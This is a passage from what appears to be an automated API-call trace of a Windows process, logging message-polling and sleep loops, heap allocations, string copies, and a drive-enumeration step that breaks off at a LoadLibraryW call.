lpMsg=0x989a6c8) returned 0 [0262.125] Sleep (dwMilliseconds=0x64) [0262.234] timeGetTime () returned 0x17cdb [0262.234] PeekMessageW (in: lpMsg=0x989a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x989a6c8) returned 0 [0262.234] Sleep (dwMilliseconds=0x64) [0262.343] timeGetTime () returned 0x17d49 [0262.343] PeekMessageW (in: lpMsg=0x989a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x989a6c8) returned 0 [0262.343] Sleep (dwMilliseconds=0x64) [0262.452] timeGetTime () returned 0x17db6 [0262.453] PeekMessageW (in: lpMsg=0x989a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x989a6c8) returned 0 [0262.453] Sleep (dwMilliseconds=0x64) [0262.562] timeGetTime () returned 0x17e23 [0262.562] PeekMessageW (in: lpMsg=0x989a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x989a6c8) returned 0 [0262.562] Sleep (dwMilliseconds=0x64) [0262.671] timeGetTime () returned 0x17e90 [0262.671] PeekMessageW (in: lpMsg=0x989a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x989a6c8) returned 0 [0262.671] Sleep (dwMilliseconds=0x64) [0262.780] timeGetTime () returned 0x17efd [0262.780] PeekMessageW (in: lpMsg=0x989a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x989a6c8) returned 0 [0262.780] Sleep (dwMilliseconds=0x64) [0262.889] timeGetTime () returned 0x17f6b [0262.889] PeekMessageW (in: lpMsg=0x989a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x989a6c8) returned 0 [0262.889] Sleep (dwMilliseconds=0x64) [0262.999] timeGetTime () returned 0x17fd8 [0262.999] PeekMessageW (in: lpMsg=0x989a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x989a6c8) returned 0 [0262.999] Sleep (dwMilliseconds=0x64) [0263.108] timeGetTime () returned 0x18045 [0263.108] PeekMessageW (in: lpMsg=0x989a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x989a6c8) returned 0 [0263.108] Sleep (dwMilliseconds=0x64) [0263.217] timeGetTime () returned 0x180b2 [0263.217] PeekMessageW (in: lpMsg=0x989a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x989a6c8) returned 0 [0263.217] Sleep (dwMilliseconds=0x64) [0263.326] timeGetTime () returned 0x1811f [0263.326] PeekMessageW (in: lpMsg=0x989a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x989a6c8) returned 0 [0263.326] Sleep (dwMilliseconds=0x64) [0263.435] timeGetTime () returned 0x1818d [0263.436] PeekMessageW (in: lpMsg=0x989a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x989a6c8) returned 0 [0263.436] Sleep (dwMilliseconds=0x64) [0263.551] timeGetTime () returned 0x181fa [0263.551] PeekMessageW (in: lpMsg=0x989a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x989a6c8) returned 0 [0263.551] Sleep (dwMilliseconds=0x64) [0263.654] timeGetTime () returned 0x18267 [0263.654] PeekMessageW (in: lpMsg=0x989a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x989a6c8) returned 0 [0263.654] Sleep (dwMilliseconds=0x64) [0263.763] timeGetTime () returned 0x182d4 [0263.763] PeekMessageW (in: lpMsg=0x989a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x989a6c8) returned 0 [0263.763] Sleep (dwMilliseconds=0x64) [0263.872] timeGetTime () returned 0x18341 [0263.872] PeekMessageW (in: lpMsg=0x989a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x989a6c8) returned 0 [0263.873] Sleep (dwMilliseconds=0x64) [0263.981] timeGetTime () returned 0x183af [0263.981] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x28) returned 0x3096e20 [0263.981] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25c) returned 0x3092340 [0263.981] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25c) returned 0x30925a8 [0263.982] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25c) returned 0x3092810 [0263.982] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25c) returned 0x3092a78 [0263.982] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25c) returned 0x3092ce0 [0263.982] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25c) returned 0x3092f48 [0263.982] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25c) returned 0x30931b0 [0263.982] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25c) returned 0x3093418 [0263.982] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25c) returned 0x3093680 [0263.982] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25c) returned 0x30938e8 [0263.982] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab258 [0263.982] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x28) returned 0x3096df0 [0263.982] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25c) returned 0x3093b50 [0263.982] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25c) returned 0x3093db8 [0263.982] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25c) returned 0x3094020 [0263.982] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25c) returned 0x3094288 [0263.982] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25c) returned 0x30944f0 [0263.982] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25c) returned 0x3094758 [0263.982] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25c) returned 0x30949c0 [0263.982] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25c) returned 0x3094c28 [0263.982] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25c) returned 0x3094e90 [0263.982] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25c) returned 0x30950f8 [0263.982] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab338 [0263.982] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab610 [0263.982] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x850) returned 0x3071ee8 [0263.982] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x30ab610, cbMultiByte=-1, lpWideCharStr=0x3071ee8, cchWideChar=1064 | out: lpWideCharStr="B0ERp0LqFRkKZlOM1H6OsO6nyw3baUG8iBpmwBt2") returned 41 [0263.982] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x71b9c0 [0263.983] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3071ee8 | out: hHeap=0x640000) returned 1 [0263.983] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab610 | out: hHeap=0x640000) returned 1 [0263.983] lstrcpyW (in: lpString1=0x464f20, lpString2="B0ERp0LqFRkKZlOM1H6OsO6nyw3baUG8iBpmwBt2" | out: lpString1="B0ERp0LqFRkKZlOM1H6OsO6nyw3baUG8iBpmwBt2") returned="B0ERp0LqFRkKZlOM1H6OsO6nyw3baUG8iBpmwBt2" [0263.983] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x71b9c0 | out: hHeap=0x640000) returned 1 [0263.983] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab610 [0263.983] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x850) returned 0x3071ee8 [0263.983] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x30ab610, cbMultiByte=-1, lpWideCharStr=0x3071ee8, cchWideChar=1064 | out: lpWideCharStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1") returned 41 [0263.983] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x71b9c0 [0263.983] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3071ee8 | out: hHeap=0x640000) returned 1 [0263.983] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab610 | out: hHeap=0x640000) returned 1 [0263.983] lstrcpyW (in: lpString1=0x46c450, lpString2="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1" | out: lpString1="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1") returned="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1" [0263.983] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x71b9c0 | out: hHeap=0x640000) returned 1 [0263.983] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab338 | out: hHeap=0x640000) returned 1 [0263.983] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab258 | out: hHeap=0x640000) returned 1 [0263.983] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x307d820 | out: hHeap=0x640000) returned 1 [0263.984] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x307c418 | out: hHeap=0x640000) returned 1 Thread: id = 218 os_tid = 0x710 [0264.372] timeGetTime () returned 0x184e7 [0264.372] GetLastError () returned 0x54f [0264.372] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x8, Size=0x3bc) returned 0x307c418 [0264.372] GetCurrentThreadId () returned 0x710 [0264.372] SetLastError (dwErrCode=0x54f) [0264.372] Sleep (dwMilliseconds=0x0) [0264.375] Sleep (dwMilliseconds=0x3e8) [0265.885] GetLogicalDrives () returned 0x4 [0265.885] SetErrorMode (uMode=0x1) returned 0x0 [0265.885] PathFileExistsA (pszPath="C:\\") returned 1 [0265.885] SetErrorMode (uMode=0x0) returned 0x1 [0265.885] GetDriveTypeA (lpRootPathName="C:\\") returned 0x3 [0265.885] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x806) returned 0x31106e0 [0265.885] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x387fe60, cbMultiByte=-1, lpWideCharStr=0x31106e0, cchWideChar=1027 | out: lpWideCharStr="C:\\") returned 4 [0265.885] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x810) returned 0x3109120 [0265.885] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0265.885] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x18) returned 0x3069508 [0265.885] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0265.885] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0265.886] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0265.886] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0265.886] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0265.886] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0265.886] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0265.886] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0265.886] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0265.886] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0265.886] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0265.886] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0265.886] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0265.886] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0265.886] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0265.886] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc2e) returned 0x31106e0 [0265.886] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0265.887] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0265.887] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0265.887] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0265.887] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0265.887] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0265.887] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0265.887] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0265.887] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0265.887] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0265.887] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0265.887] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0265.887] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0265.887] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0265.887] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0265.887] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0265.887] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0265.887] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0265.887] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0265.887] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0265.887] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0265.887] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0265.887] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0265.887] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0265.887] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0265.887] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0265.887] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0265.887] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0265.887] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0265.887] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0265.887] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0265.888] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0265.888] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0265.888] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0265.888] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0265.888] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0265.888] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0265.888] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0265.888] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0265.888] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc2e) returned 0x31106e0 [0265.888] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0265.888] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0265.888] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0265.888] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0265.888] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0265.888] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0265.888] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0265.888] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0265.888] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0265.888] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0265.888] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0265.888] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0265.888] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0265.888] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0265.888] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0265.888] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0265.888] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0265.888] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0265.888] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0265.888] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0265.889] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0265.889] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0265.889] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0265.889] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0265.889] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0265.889] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0265.889] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0265.889] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0265.889] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0265.889] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0265.889] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0265.889] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0265.889] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0265.889] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0265.889] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0265.889] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0265.889] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0265.889] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0265.889] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0265.889] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0265.889] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0265.889] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0265.889] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0265.889] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0265.889] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0265.889] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0265.889] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0265.889] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0265.889] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0265.889] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0265.890] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0265.890] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0265.890] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0265.890] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0265.890] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0265.890] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0265.890] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0265.890] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0265.890] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0265.890] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0265.890] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0265.890] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0265.890] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0265.890] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0265.890] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0265.890] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0265.890] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0265.890] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0265.890] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0265.890] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0265.890] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0265.890] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0265.890] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0265.890] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0265.890] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0265.890] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0265.890] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0265.890] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0265.891] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0265.891] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0265.891] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0265.891] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0265.891] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0265.891] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0265.891] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0265.891] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0265.891] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0265.891] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0265.891] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0265.891] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0265.891] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0265.891] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0265.891] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0265.891] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0265.891] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0265.891] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0265.891] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0265.891] PathFindFileNameW (pszPath="") returned="" [0265.891] LoadLibraryW 